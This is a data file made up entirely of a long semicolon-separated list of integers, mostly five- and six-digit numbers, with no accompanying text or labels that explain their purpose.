34658;104959;60162;76915;13987;43127;97642;73017;56022;63040;90203;21893;28712;14195;15574;100187;28998;56866;24586;94958;10317;73853;24087;57789;55401;76767;15770;81259;96133;62230;65319;71320;95859;86389;19764;16836;69438;54709;25308;16195;51979;49241;34265;82488;25892;78150;16728;96853;66381;85082;97717;92556;99946;29541;99345;31448;90221;24018;60192;11783;97122;61260;102155;37087;101492;66227;80769;91036;77849;60041;86852;69525;25054;81930;81277;55966;73269;99713;28917;92945;30145;85039;12944;18132;92594;70121;49563;100720;18116;11030;54691;32907;44326;106684;96456;48579;28131;82520;57423;100246;68786;102450;106928;41447;74045;64314;96101;52839;67024;13980;59473;82667;30633;46179;48938;71314;82563;40516;62350;60052;17307;19130;37997;67700;17418;17206;64952;50945;50422;38557;26321;27357;29991;49816;42121;40375;41514;27087;12762;30072;16450;15223;25258;73058;15946;77753;27872;72722;39126;53485;72160;25557;17152;31652;82915;85013;54546;43368;34997;71576;20134;72499;23981;11908;61721;38514;104810;49372;28555;44645;63613;58063;84505;50566;20711;77481;53113;39042;82989;18094;71022;23895;28255;22597;85085;66973;93947;76781;74533;48724;99781;95749;18945;91782;101616;41969;40435;56768;79025;68397;69857;14952;100623;63418;23072;62398;54224;49283;71819;60151;56815;35234;22640;71709;55256;92714;59613;42303;33456;65158;50642;20794;97268;39632;70004;51732;53770;71453;64455;59549;75017;13386;84583;62655;56048;97654;91675;21485;87776;14134;53799;43730;23308;71312;26440;26220;61252;46300;18461;11936;11735;96268;71407;74010;63761;55842;24729;71398;53782;52111;49215;24473;37646;36530;40689;101088;53362;78617;16821;34543;42465;57227;75064;14448;34845;13254;41257;56130;28514;50297;28243;66530;53861;101026;62591;23715;52274;60424;94877;68887;49661;54658;12654;45006;22278;99419;30466;22361;106271;20400;200064;11580;97869;67349;49275;75849;64456;41463;93963;30502;17602;64788;12731;51142;54325;103122;55571;65232;89773;75286;40167;23534;87841;46284;26839;74064;41435;81419;25181;84846;39423;15594;101744;40365;72524;100615;26302;36602;75797;61198;60676;103701;90643;12217;17656;85861;29760;51285;103739;63589;91616;37804;79694;102130;87670;79892;71804;105317;12410;84657;75289;74953;25232;74311;50799;77648;76227;64269;102553;41070;21362;51418;102330;11139;87084;104340;56570;48667;36292;55054;37911;52351;79510;70091;78096;30199;93765;79017;101313;61999;105764;61792;45221;77487;16680;72745;68946;68430;71619;53451;200082;10716;38180;17409;45637;86717;97334;61418;40336;30027;34702;88139;79245;99935;25932;70059;57401;107147;87094;78531;46873;93410;53632;19677;81706;16515;66623;97106;41038;78473;58645;49795;14001;27542;77315;70688;11547;73476;93697;48418;65629;13946;103278;78016;101674;100284;87525;52697;65668;55638;81959;41473;56899;18196;26966;78753;21427;91429;86758;86101;58812;19016;104595;74782;100747;81826;35113;68937;26937;107135;55199;34791;64390;68801;24291;100600;72009;23726;15961;62067;96281;44761;45299;41776;30783;66707;23668;15985;48290;59862;21924;36830;31614;107088;90874;13208;65671;79183;45905;53033;82779;87055;86399;101388;102360;102477;26266;41605;63281;24069;50024;53379;67454;24074;54552;75418;106220;92544;19511;73449;42435;78844;49324;27964;42233;25264;84240;20356;70373;30666;91828;105580;89954;26013;88848;94513;69238;25120;17778;69826;16750;100425;49185;84966;45535;60962;100136;53722;81485;59491;88878;17324;64465;68526;52278;52763;12104;49504;99464;57000;92793;36667;11064;49557;55785;84358;12465;16753;29506;26929;52793;106732;87068;49213;22451;92335;33933;52790;42190;52489;29082;21121;73534;77823;15624;90767;52870;31265;31994;19688;89245;14702;64773;56478;19080;13681;91549;69668;79059;26835;65250;106836;40889;67098;77608;22769;55357;31893;27978;76211;75259;69214;52896;45718;33860;91348;102586;71588;77149;29121;39381;99637;96073;79143;64084;25861;101154;68184;100191;81151;63011;94645;67102;38666;65414;59289;76639;91031;68436;86231;27395;26432;65143;44003;82923;72941;59946;40132;28313;88109;61149;97511;35341;64395;29466;41087;80870;41737;107015;67607;92067;37568;41123;90489;67767;38512;31566;66290;62674;40552;106965;79178;70903;88451;40729;35998;91193;44672;92868;48878;17532;21375;71946;69288;16200;75031;61986;60986;106244;100581;50219;13372;32179;33651;66891;25327;93003;50480;74161;95865;18497;45676;70268;97307;11574;78251;44579;96433;57681;63881;16343;82031;106222;32486;90038;70522;56714;102984;83720;102286;60274;200098;21518;87436;104935;73318;100728;54782;45638;63302;62454;43007;97281;51272;42600;71675;33104;18707;18486;86093;61545;89682;88757;14615;104089;96724;64004;21509;46900;50943;79708;79400;47340;31631;45216;29870;47768;103571;63942;44384;67941;54909;73246;95875;106223;24779;45781;77536;106716;52395;70982;33566;75654;92100;44306;92466;104634;99229;103172;103398;83042;64940;83336;87315;38900;103831;17050;88501;19802;34072;92485;83195;11496;54647;96412;93441;103493;43868;35217;71017;90224;51066;49203;92550;90834;37367;105952;40682;40342;25877;22964;35452;32969;21307;37702;99676;200037;17116;55170;50720;76141;62446;96222;75970;87805;10930;38565;74173;73286;86681;43496;76816;68204;23880;20030;85389;49158;42194;59364;37234;16904;101591;82823;63897;59360;76838;28279;92299;39996;26734;35253;100242;57096;60642;48434;19147;24247;87846;75111;23902;55891;94630;19567;43844;68828;17550;99233;29545;30782;82994;96887;101119;21856;74157;100049;200136;25891;89898;52639;65397;91113;33294;40349;77375;95926;35831;16740;14736;70326;75319;19901;100917;66345;63621;39543;100227;34086;53877;95950;97230;44045;37694;32884;54597;105380;87424;30821;104009;93793;89521;103947;51955;67046;54148;43530;33673;52010;21309;40560;21216;81028;70081;18017;18322;105612;85397;21330;96716;25276;81741;10535;78692;90220;70407;38498;16460;75596;10210;55510;10011;52310;66398;25259;34112;94820;17101;48948;50249;27342;13403;73512;75675;40211;99700;10696;84655;34068;48225;64783;103622;13938;20079;104874;67171;88663;95949;67298;76286;60923;69363;47294;32608;29438;105278;60332;67619;14077;74272;59760;90714;13045;59270;54643;59955;24389;15613;96749;23989;76296;17815;31957;29693;83482;103238;92417;66225;56273;103005;82564;89177;59503;61903;11859;55113;83098;77277;43221;86820;92515;84705;35582;42551;102672;79312;56854;41566;92555;87501;61699;34232;22932;31138;57928;82035;95258;52540;76368;42891;97005;101040;83795;54064;91122;39934;42221;61998;24555;10408;21531;68682;93068;25601;52436;100836;75670;78911;54683;29344;79464;100263;88152;99257;106582;23276;21658;37818;18415;14382;105723;78393;100055;60816;88044;93980;71454;14918;57973;78689;62360;12623;30459;23496;35633;50033;54433;75716;88776;12563;77101;14657;10119;27347;81479;47602;78092;87868;51199;102032;75353;12099;97335;50911;57452;35033;105131;72465;15461;89830;42996;38967;77591;24075;87904;57115;86828;11850;35218;74393;105378;35636;20045;19063;45424;81078;75750;91167;83761;12968;61235;39774;17659;75272;52692;56398;37063;19161;37870;31748;53314;25662;71794;92176;69935;61657;58513;93294;94459;61100;14057;84029;52211;29578;23488;46296;52442;107035;73925;49056;102230;27859;107149;99241;38056;17767;84325;33760;28209;69070;76043;62278;99365;68107;35044;77461;73858;89837;62916;52309;73176;62922;67528;30115;61860;29487;97260;34389;56951;92946;25345;64680;90704;92250;89402;66745;31625;92933;24812;10515;36339;38763;78222;50708;89525;19786;48996;106943;88623;70757;16817;56107;92469;17168;101072;10318;66993;40591;21404;61611;35902;82206;76424;75807;42491;99765;63573;90588;99523;16531;89288;66725;42793;24480;58307;100135;50206;34536;81496;103107;53676;51886;76388;68142;61845;26995;23754;102602;76417;84789;19156;78805;21171;97769;43696;99883;102106;74832;29171;74585;26377;36307;99962;71217;85076;80024;33132;82462;16604;79234;27481;97737;68220;19389;29572;77437;90744;86423;94509;34802;43939;75080;61907;19230;34578;50822;78380;19769;74273;87453;17572;13901;69516;72791;55427;43187;25519;18401;77475;12652;16223;90358;46463;97354;104528;50202;102421;103807;102111;56867;24298;52280;60991;25146;28223;20818;95904;40418;50330;37734;27902;27446;99387;82133;56606;12259;27907;67229;74192;26945;40654;13947;68983;48233;77856;52700;16905;105807;48865;100628;73753;54602;21523;71763;50634;33152;15608;31116;60211;72015;32077;73182;100594;20025;49053;100978;11613;83734;28912;12420;92982;57967;89677;93067;104355;35874;100697;90007;74567;63319;103334;46638;45259;40361;23424;88548;84750;80348;15753;54163;20497;53894;58140;19984;16358;49773;72474;65727;100431;78740;87196;100370;85393;73456;48594;40891;27677;53015;92138;85551;54293;78152;73755;81296;43601;55625;71356;44327;13236;68250;89501;28084;106501;79895;32272;102318;28831;83501;28423;21342;16828;57050;15183;55192;55331;28087;101365;49585;65202;77735;77052;29439;32151;79953;69653;79618;85620;58413;102258;69168;66914;93611;67352;93530;42487;101436;57302;90243;82423;88807;74440;51778;51966;55397;34999;19368;21398;90448;34083;85403;91418;77501;73050;60646;20844;80067;91202;71859;22277;50983;11804;30226;52014;50930;21741;62551;52515;29678;68520;96721;39454;44139;75824;94564;62149;46516;84668;93047;22874;73685;73342;41825;94419;78796;31435;44817;104490;13001;87901;30104;64286;14159;89349;63014;105726;76471;48483;79499;67896;10496;44766;38516;21165;27262;21265;105185;24874;54161;64191;26238;81869;74111;23313;72565;57241;10082;58150;33093;63831;27725;36328;91353;19642;19337;31429;103391;86102;64528;88032;66730;16214;30074;54715;61056;78906;17459;10377;75122;25992;62478;91402;75370;80766;36175;73344;63422;71631;100940;39023;16198;58927;50444;30883;92578;49886;44379;96072;40502;89583;30028;64750;96582;69107;73667;91569;33540;101085;94907;75736;10607;96360;96894;101253;10393;68772;14153;99745;33079;101803;37722;51380;28129;14670;61157;74668;85601;23514;102336;33075;12678;67734;101902;84267;13494;62078;101039;52684;69165;94117;68259;105846;59204;105121;17474;31017;99273;82543;32523;34368;83807;62887;46944;69196;79232;64071;74260;59670;93539;43505;61547;18588;44440;97973;93240;83151;47232;91516;74741;90785;40928;88026;106886;37149;44454;39751;11817;22293;71975;18115;50805;21078;56984;102411;68558;59073;71297;53458;73165;104888;82052;43623;54522;104600;69659;74838;19961;69377;31474;95797;40607;34145;50745;30148;63629;99422;22317;71109;103657;37074;43398;15210;33801;29699;31158;23046;79496;88028;65553;66194;82793;76494;77157;47040;67930;14748;53776;64282;101526;59633;22164;77251;13955;77086;19659;73653;44682;14875;102730;103678;32834;28589;15510;86802;13049;97966;53618;34510;23823;19013;31352;102417;97930;26375;96157;92304;64494;31880;104648;47174;46580;34408;14387;89315;54458;91800;38013;80312;91327;14065;57560;14901;76008;97490;35093;29148;24004;82446;86713;49103;85418;54469;12743;15825;35359;83123;52188;82526;60301;78022;63257;10853;83692;22475;39290;40265;94415;34375;79562;32423;39067;46788;47577;26750;29927;34509;89285;104461;40944;75603;101368;91140;32847;31536;66080;88659;12777;19494;35909;74865;16413;24588;103484;83264;67746;64845;26279;32100;15423;31098;31079;87604;78503;67669;87016;34192;93168;26737;46809;95791;14956;74218;77436;60628;79115;93999;76486;58821;102714;76747;73348;92848;30429;75002;105932;54022;79091;43292;39629;16975;16005;14415;81661;68042;31869;20838;14060;78579;42690;14160;78352;31538;94154;58010;78700;60979;16313;101250;33499;41161;96560;41676;35414;75308;65852;77156;61486;103264;59425;97976;95652;57093;44159;99572;80001;56447;104977;33747;100699;73091;85298;89514;33555;46597;45733;72813;14301;54939;67177;22210;79591;88150;62384;97466;83962;48674;32770;100208;65393;77169;58797;84112;26707;21942;78168;67041;90627;81462;42604;51077;77174;60260;77232;74336;23870;39757;80991;17236;65695;38312;41376;18279;56325;56226;31883;11349;21450;54000;31863;22161;38504;68836;92344;65279;81315;20591;88803;94948;18905;58406;47687;56037;28932;42220;69614;55228;57189;46347;40828;20907;17008;106465;16955;102976;102622;84639;29420;73521;27018;23222;84263;52517;95892;64481;31393;55720;53009;27246;24983;81404;13920;13677;14926;23603;49271;37701;102950;61553;16386;36938;19921;47453;44607;66049;86132;10047;12784;99747;81188;33642;31801;30573;22376;73947;27121;25819;73412;43975;90993;51594;94631;68658;83884;63611;10553;21278;56490;59250;42704;22988;99859;24870;71746;96971;105341;57867;55349;39118;34233;30876;18802;87253;95277;13496;83091;81890;48819;14551;105545;54701;96107;41182;59457;31615;56965;90525;80076;81103;52995;67450;74406;91136;93525;57204;35409;53549;72270;46763;79842;105486;67732;20219;16856;15074;66836;45165;69223;62683;10463;26930;40500;34769;68100;75226;94545;10503;16148;92808;28287;90778;21948;91315;40009;102225;106849;69430;70986;31150;31044;100496;25231;72231;58035;23221;104793;60882;52612;87693;35139;57087;15610;24603;41935;32930;106117;34127;83877;83056;52128;17035;43005;45606;77083;92168;56357;76663;100990;62040;14686;84056;82329;70182;64693;84774;49474;33347;77737;76226;73985;18223;81221;81490;91990;34101;53023;94993;42794;53585;25456;11695;67487;74522;23709;68420;105558;12097;40288;85693;74197;72240;97322;16511;61797;104122;61767;40795;61668;54539;18591;50520;11150;47548;80098;91152;100650;69093;59053;25899;33201;46146;69647;32872;91210;86559;87948;74821;103429;50715;60311;76313;55940;92959;32902;35563;56417;62554;101636;89684;43066;74939;77787;92696;67879;59230;53459;95992;41151;29741;89970;10432;79342;46360;41013;86413;71591;57698;48389;12018;86584;27442;105576;13766;103463;48360;35670;25614;81690;42608;13021;85323;64394;16734;89173;60263;16355;29731;64772;59566;20352;85117;54405;69986;71806;78173;15630;54998;63378;74635;28512;55114;75475;59402;87185;85091;63390;96218;32687;72265;60778;26195;48457;97916;94558;38122;90526;72094;40453;104839;24071;20229;71844;103373;59465;106793;47229;75591;59557;59132;83585;41609;16685;101496;33136;45572;77353;88090;42188;77667;56874;31137;70556;71259;69722;47708;35625;11994;45450;39477;70502;30451;13646;80976;54592;89519;84749;24721;101693;93205;65174;49997;106233;62905;64079;63417;105891;92817;27486;28995;89079;33434;85890;68178;96325;93788;40254;54967;96331;17246;89856;50582;21681;17128;82938;17634;59837;22102;64955;78713;65756;80629;95844;30204;19020;37575;63593;75275;96047;65552;97100;78398;22252;66330;57733;38235;20133;44347;27166;60179;19833;26482;51148;22129;11768;17279;65078;82942;13413;88925;31810;39724;80103;52265;31088;100342;92616;33426;78694;61620;52360;83052;73822;80043;45287;64323;105751;94038;102372;57248;84426;102637;29689;65650;70083;91785;45772;73498;10517;106319;12620;61495;95631;18162;21850;54387;42602;84262;52846;46078;68120;105233;94425;94629;16437;104112;78275;66492;47601;24957;50396;100934;52154;26698;35326;32392;102317;37584;77184;84042;23790;18780;103909;103328;42003;68214;46888;68763;26860;72725;47642;39247;12402;104359;40870;18525;58430;39211;38555;12198;85732;94810;76539;78097;41415;75419;26915;95288;99372;13079;62156;99142;62400;100797;72966;51502;53636;21474;42280;91678;13320;87908;35886;82610;83869;80020;57860;33785;76230;44559;42273;25206;44302;69800;68327;67832;95523;95267;86552;41037;25388;74200;56988;34762;86665;32533;41581;73327;72355;44577;31920;67198;94700;55995;48956;101041;79807;42481;102657;77379;34968;75105;55682;10678;39095;55144;101851;55644;43487;31476;95654;55900;22344;62785;56339;76072;104074;36797;64216;75139;31441;44742;39261;25261;32881;53702;94994;73671;48470;28845;64043;74098;18948;74498;40641;16135;106624;32289;104619;70280;99709;40190;92461;60812;86348;55107;79014;47615;45385;77700;31465;20976;54084;53740;93829;88939;20123;36471;104964;77557;25196;75393;46380;62408;97729;50864;77975;45732;66393;74793;55307;30053;106610;32422;47890;95686;95266;21737;91646;104518;14523;102859;20583;66962;83184;57738;69829;85893;37847;32744;62429;66110;59898;44843;79187;11884;80607;104078;95753;24431;40205;78271;62366;85785;26447;34681;32789;52526;77048;26156;79244;46333;12246;37666;26767;102688;41469;44090;17811;14773;59261;18160;23753;11911;54460;78087;50062;92568;13759;99186;90288;59328;97620;27651;58831;56765;79963;54002;90254;18383;90875;56200;55685;13437;17979;88435;106264;88936;75909;19373;94804;28471;82077;13167;16264;73089;14390;39540;100291;71226;30127;21829;76672;63880;67919;47529;25955;54890;72651;104025;75738;46502;38346;37470;10557;33493;60886;36076;72455;40068;25123;79310;28573;62936;45536;84722;60571;66069;61207;19793;45870;30620;90389;39595;69471;30972;100916;102074;101379;42550;20520;95929;20620;100944;43810;42809;17461;45109;94254;103041;87303;67807;40458;55381;16529;93200;86982;46820;22542;102527;78542;41436;68174;88042;92207;85093;77923;90768;32004;34600;37002;13544;22663;13260;89337;45598;57859;41781;106685;45440;25019;54867;23086;101709;30521;33930;95578;67772;96422;84007;67989;21024;46117;20916;36967;32410;24446;18781;47239;22742;78670;36987;74729;78079;47111;99750;93328;44819;59017;64018;65914;21125;38727;32373;67121;95264;70630;31699;65982;76266;70061;49080;68692;67952;81190;28079;39306;14893;104525;10673;96828;96736;51082;75426;70175;10582;86031;39217;72166;96704;42184;71270;88906;91440;32062;71179;32751;27355;79997;34853;100586;85268;80265;27605;51388;47084;29298;90474;50275;49530;76567;18020;82698;20312;71793;83880;42373;94784;24861;58681;24754;78183;22559;43880;10372;95262;43686;28756;49195;78858;101223;18812;67581;104246;15919;44898;91788;97599;26181;58658;69341;57564;39772;44716;90858;33253;42372;60504;76728;27726;59686;85905;15459;60770;56673;78490;54929;90076;33299;56646;60951;22005;99744;101856;92331;39220;19865;28119;53614;24727;85824;69819;65287;95524;53026;13972;70103;33323;14182;24769;63784;97373;82944;80344;77828;43910;106050;54560;11486;59375;67639;67124;10805;19805;51115;13807;56039;51207;33895;82669;14803;67618;20082;44960;19018;65281;54851;77672;69572;91725;54759;84164;85755;66002;33824;84425;102529;59124;104160;107066;97853;13813;17085;51279;53990;37288;102647;36844;19088;79250;85636;49598;58744;78551;87853;102746;21938;84608;32915;54844;63419;49616;94280;104206;91696;42382;20147;29686;79330;88995;52418;35778;101680;79597;26855;36595;105747;56033;60961;81237;40572;17705;19702;102994;57411;54692;101595;93330;35829;54869;49673;50644;26369;58746;15137;20979;24274;71825;52624;38798;66703;42698;63781;59607;57015;63873;77847;73424;27705;45991;10964;97706;31701;103086;91341;40017;16077;67103;90151;11344;43443;103181;28122;73138;76769;58516;32069;23228;23407;95356;77609;61530;67784;74234;17367;66726;34842;61989;36558;83145;31449;90457;96665;49025;19711;12412;55027;39159;71435;54369;84499;62340;24865;40110;69676;18421;95958;106363;44596;50573;96638;19367;20152;48231;21231;89249;70137;27435;56030;59467;13986;66256;103621;51310;67473;77500;57593;51346;60403;67906;58353;37162;24990;96499;62536;36115;63283;39748;14814;42977;32322;34948;47241;44725;44225;51154;26401;86510;101273;31900;60251;16902;34537;103973;47703;46936;58037;92512;11176;78602;38183;17633;100905;31984;50652;76492;31604;95546;47736;69587;30813;106287;71085;21902;57613;86478;88819;103266;85022;10502;27177;99604;104167;82684;21457;50004;30225;61053;44533;95461;84280;74515;29859;21073;26803;84715;18957;41131;97124;16823;21056;78755;80053;19005;25224;17325;81789;83571;68784;104520;85944;42584;20254;102420;23380;22999;96626;22178;106080;83987;68316;84866;66978;95499;58180;60072;74145;58770;71450;36755;57925;91186;51611;51598;102151;70864;77619;10600;19618;48829;64774;82982;104362;70134;44310;60721;16696;81988;93840;97077;20723;19576;104617;64497;52786;31394;40319;47775;24153;21295;23030;26864;61718;54489;70739;44298;38634;28099;102918;81034;70466;12030;70639;67274;55548;99269;23991;67204;87407;76031;81000;62746;48775;104241;27798;34020;77572;83149;32243;104287;20670;40470;101560;37873;99845;33373;74519;37128;99425;74476;78334;31574;66774;68621;89421;97864;46379;32614;63703;75522;53418;52319;24850;60675;50646;67887;200131;20918;63996;46930;27088;97594;19827;99526;22234;74293;21598;16994;50759;28961;23034;67241;73874;92872;10462;70300;13918;74246;94842;55461;54175;35526;41078;23208;11777;90772;33000;65846;102443;82905;30289;66491;96780;15124;22879;101194;21625;10284;23097;42063;89873;18522;76295;51353;84531;21955;44016;30738;94893;88798;60679;59748;38544;23541;22268;25049;90861;13070;72242;77844;86589;64579;73854;94494;79789;55089;64722;70742;77920;54075;60198;64444;95330;35727;39518;25551;70828;62630;15762;74960;27579;87511;65383;46358;16612;51948;64246;17792;29953;34817;62750;50637;89016;72940;16855;90843;100478;11591;41294;22014;14752;16541;27914;88404;19720;43545;105877;96746;11197;49915;81001;24646;31817;20750;59825;41287;75163;48916;46708;45387;94421;39406;87137;53415;38952;93819;32137;17304;64333;104890;77074;83891;104854;11941;15768;32962;33293;87840;88743;93801;73252;12709;32415;103472;82061;52201;27970;104781;31185;60132;68963;45804;12537;62697;58975;83982;12646;11409;59167;42343;33480;99938;20569;52603;13443;89622;90637;58104;100207;80932;85699;101536;48503;27172;78082;49663;104261;53867;16974;43150;34980;35222;106572;67461;12610;79786;42330;61061;16876;47483;100006;77489;49891;58550;32576;77245;43347;87760;81258;24976;82762;85002;74983;44952;95009;95005;85311;97400;93111;13377;30311;91744;101672;76173;70282;85912;91444;58288;21691;63981;41128;13273;99648;104586;69605;45141;20784;90237;91242;51870;12970;73630;63519;80109;35533;83322;83316;39980;25400;53527;13460;53641;21797;89563;53467;44757;77053;28417;88508;37175;25902;77552;10109;74845;17991;26511;99101;71862;78228;97626;106397;71362;25257;97586;20512;56555;87451;32939;29932;85453;19283;86255;87458;78823;86848;17727;37072;13023;78514;92389;51842;27381;95458;38390;11618;79631;58726;97279;54791;54772;48697;41980;16961;71782;101726;21881;81649;16204;100249;16248;96408;39947;14043;35468;52270;17222;36630;95801;91305;50778;44999;96867;89814;26856;16838;47399;52981;62644;57621;88693;96586;91840;54168;23928;46548;85684;24618;25426;96431;26607;10291;14326;100733;52253;30946;58525;34209;87254;99675;70063;42243;88843;46457;43502;28365;19503;51664;93319;90621;31109;52080;27311;43732;80667;30308;19959;87332;74646;53771;29652;84061;69661;23322;76739;72214;97032;28093;70972;28824;66983;32723;105109;19441;13680;97640;50282;60233;63787;14614;100385;96821;53368;94791;64402;54342;39627;101281;103898;94861;82597;58310;40996;12061;68879;88670;100305;41001;43741;63777;57341;44593;97128;84151;82652;13430;74615;48425;91858;65377;40165;100981;95975;55309;52379;10681;96997;76389;71549;50546;55095;75618;97383;40182;56993;74839;65664;49523;28768;101806;21365;57862;64460;38673;11244;74300;18109;88533;71607;101542;92548;80641;97651;60081;47395;24184;88661;103423;99578;24998;24762;100220;23536;101644;19806;52056;106964;97898;64258;101466;89428;50760;33310;59797;78930;50998;33022;106229;92115;43126;87954;56239;19423;72634;12584;89600;19726;80547;80884;47007;64135;24338;81964;47722;77987;21951;96282;89674;39963;70575;47173;19617;82158;100314;31848;81589;53876;54493;20744;61694;53514;73915;64641;94714;24706;103828;30562;13060;106418;86582;62878;12638;58478;103500;64266;49877;20947;64281;35757;88811;97162;32763;88381;53796;51800;29904;101797;78707;61720;102001;82307;24373;76097;89785;57660;42765;17305;17736;32140;99910;27860;102900;102096;23001;79925;96175;31946;13669;24462;75563;77339;105331;35495;62091;88598;76405;34674;22571;71784;25246;75051;54580;73584;67193;42578;77881;28337;46015;27621;58321;57188;75092;101741;23304;17329;15126;44738;50155;101804;14113;32484;53814;99182;102013;86058;34271;62012;32500;87091;34099;54591;70293;60746;40396;58887;54340;101634;92537;27286;27639;19386;32918;101929;83969;104344;104304;95622;82965;82595;86247;89846;49456;53935;21053;55395;59605;54428;89284;106162;40499;67642;70062;50962;106032;97071;58129;106663;69215;105068;69878;48351;39400;50246;30727;53428;100546;78255;64414;64553;73864;76185;97159;59269;41816;93314;64262;40773;11521;75834;72256;58994;10900;68338;57800;28564;101156;91639;17548;62748;13488;72024;35735;14322;63292;59747;88385;69276;64903;21580;31972;65940;89625;74773;103843;89908;81979;50689;95497;24973;46681;16037;20153;30903;66463;92448;89603;40675;99545;82715;59320;61818;86038;76440;87077;39499;27101;39911;85469;73919;67383;31520;51934;89641;31286;50865;46423;67313;24116;62513;69552;94690;68840;37261;70897;29485;65696;40808;103955;13964;74961;61472;83418;21787;17031;28603;94286;13131;50041;29898;89555;59692;27316;99199;68175;18305;53730;44498;31582;37884;18095;59084;84017;38374;97752;63676;47260;84086;22162;44901;65622;16201;52972;93084;83804;68644;34787;41097;12317;77758;45530;83037;53313;95925;104079;32139;105650;62036;67929;102202;91830;36239;82557;43782;38835;35934;55516;38783;11845;15722;97209;85206;67520;17667;58223;61825;102257;40787;26191;85653;42817;58267;81120;69866;105108;47149;45713;50428;51451;37441;68532;26674;16866;47309;66192;70671;71847;104981;43887;43476;36112;41205;96368;86184;17505;72039;94157;25999;84158;50912;78968;85109;99609;89445;79916;29087;51688;13196;17563;200121;99230;33919;49691;51487;38643;74755;94884;88813;66793;64980;14302;58114;105711;61469;69730;19946;12007;52078;86784;75927;79137;55127;54605;90136;99835;53323;27141;77741;70285;23025;39524;72482;106212;35430;21612;25765;22216;16449;106693;16314;106999;23854;99105;51716;13859;99111;22810;100318;63465;67824;24354;17416;93632;14937;104804;36092;44706;45016;41032;44998;14227;62990;12017;87665;72643;11274;106069;70030;28486;74000;85280;97014;93419;74618;25997;70666;39044;56439;23606;70525;81392;67071;50687;67390;48191;90540;53504;71944;59018;90066;52104;103640;93814;79983;14388;70835;15797;70405;12550;70436;67035;46305;84389;71334;42155;51682;54153;54351;96204;75699;61106;76666;61386;10530;65207;74539;57770;59541;62768;57762;63845;50777;65939;102356;25404;54328;30927;104321;62579;96234;96100;83452;59645;55797;48841;35497;21779;45897;37692;103291;22442;48424;26797;60522;79747;78376;97389;93962;25040;21710;58556;45675;78653;22969;49399;77237;101078;82356;39780;65825;102645;76039;35429;51876;20895;38081;85863;30049;62569;82088;86366;62621;79893;86304;43739;87990;47831;18166;81575;75401;19149;28307;28000;16733;28216;46952;57110;33081;31132;56935;54092;80220;76544;76986;15057;33617;104569;100542;64155;41127;100613;17396;17790;99316;43803;46972;42182;63242;73170;64869;51874;18916;61244;104886;103232;85392;90324;37468;78546;57811;62363;63095;54596;102479;93511;20623;61475;93353;79625;66888;23064;67976;15325;63113;20295;103762;45188;103012;17293;18742;23378;64055;34043;80058;52333;86986;67685;34134;13661;42177;48716;103746;91611;65938;64697;36594;94593;42587;42928;44964;17184;99587;11283;24914;95321;45202;33194;85295;84355;88823;57666;96737;34610;72856;56977;104409;17604;52823;100445;55890;54276;49834;49972;19381;46678;92883;59265;70722;106764;19502;99261;97449;49524;75469;79364;28594;78719;86916;25822;88151;97380;64182;76543;54178;53391;50684;55240;89739;79013;82343;101958;32873;64904;82874;38027;39867;34360;96975;59808;35970;47184;101195;86889;18747;22008;63355;85542;64589;28617;105212;89403;100422;69929;39298;32871;80165;104413;44522;14096;10733;46779;51565;60142;61794;39767;96001;54718;33718;63723;33407;83250;44965;69806;68157;15114;49412;59542;45288;87812;89400;93155;47803;88093;63225;59911;94228;92682;38567;88709;83684;78076;88694;70716;24731;13263;21059;90047;32462;48595;105654;99396;42497;27646;72911;72952;105614;11253;52627;24536;46587;93301;36635;24578;12809;42122;36289;21857;79641;57043;55057;69721;21377;91124;20465;79959;92630;57266;67846;94166;104547;84055;104603;55556;99034;15859;55592;67412;11387;35305;75455;18587;22960;34690;90702;86287;83328;30207;27782;54511;101631;96818;23026;81314;54001;17078;73077;38821;96583;51925;27156;12700;22704;36424;103075;12471;26347;103674;64617;76262;94095;31440;46568;43500;13128;77547;75459;61408;18392;19432;84129;34663;89823;15546;51247;96078;60194;67564;11592;55507;24803;94403;74419;85993;27760;48962;56558;69640;100413;49900;23359;73800;10434;78669;25696;44369;23835;61062;61499;36116;61809;32212;40739;74412;38853;79901;41881;34822;19119;49273;97967;39057;24856;72893;92005;94285;22977;74075;21105;28305;52396;43560;31804;73695;36509;26574;84053;33783;99283;72771;51592;20970;93095;63185;56198;74360;53380;59223;79447;72809;82092;49280;91753;102181;73379;67699;92871;92787;15250;51588;101879;82337;106589;71762;62725;49076;91148;79576;25842;105475;84033;49807;72649;69244;24995;37244;83136;101147;79346;23370;79524;57744;13003;14336;50730;13637;42296;52358;64037;74457;67924;31843;53807;56576;33240;84036;17230;41121;61534;41670;97918;37683;29855;53204;14834;102483;79445;99703;14121;54518;68261;11579;58313;38368;72281;38902;45214;15374;12792;80489;65538;42965;55105;18503;72596;102123;54055;23262;22842;29135;49525;36048;92139;96909;39823;36954;11848;53436;89461;18139;88702;65262;24426;27916;81993;70433;57032;14719;19218;75668;38596;84843;13787;73644;42306;85814;51335;57727;44076;35148;52743;84291;35482;52611;73007;68642;61419;105170;42339;85127;21192;106982;16321;105114;66410;104197;75992;64548;63490;42206;94085;57237;25085;77112;102596;96450;31568;51815;21538;20557;86066;84810;25811;79504;26811;22915;71972;19246;40973;87057;50369;24249;21458;90277;55839;26738;67741;74021;99411;28813;71905;23004;60119;70288;56119;63282;20848;10629;29960;106816;84217;83831;76187;68118;73515;27873;36986;60604;85456;52524;87382;52352;45769;27934;69358;100578;31735;104767;24951;30912;81612;91845;25473;53881;105908;71419;73268;40785;99424;82951;73373;86803;60837;19226;82091;106627;25460;65579;58211;16438;92126;37907;36796;54640;46800;24659;91435;42533;52050;86382;49154;56862;53221;72185;103573;29600;49270;106655;74904;17448;14688;33866;61216;97823;76585;33248;59763;78347;99575;65013;85611;19036;35782;32380;28635;105699;30247;46260;63085;56990;21402;16256;83511;61487;88668;75940;80127;33886;76595;77344;25532;104105;73209;67806;102713;102444;28541;82660;104012;59004;77539;103962;103757;14659;17694;93094;72859;102208;89855;34045;14981;31797;36358;27560;35813;95971;80753;107031;59171;40659;77483;65272;75529;26982;85847;94216;83752;85064;62268;40416;58165;14440;73746;52801;63975;92496;48494;86822;34282;59030;74627;94488;66613;79736;93986;101686;99973;27881;26420;14759;75604;75543;87056;65562;101614;55183;105107;52690;84213;16021;55821;90208;40851;48523;54558;34522;101933;106646;97641;34893;95976;27900;16504;86551;95269;87789;104563;17983;44146;53710;12508;37045;84513;19259;89792;84431;102794;64567;41180;58021;61687;47305;13663;75291;63438;56813;35522;24270;65050;106960;93655;50179;23333;34892;82407;10280;79475;73119;105491;54842;24209;52910;105048;76029;18520;23120;101493;53228;76648;50497;76667;32389;16288;44037;10593;15034;49431;30139;100201;97962;54150;45795;56331;46293;104825;85549;52316;39852;100653;65395;23177;91294;61940;36388;18355;81225;55323;48728;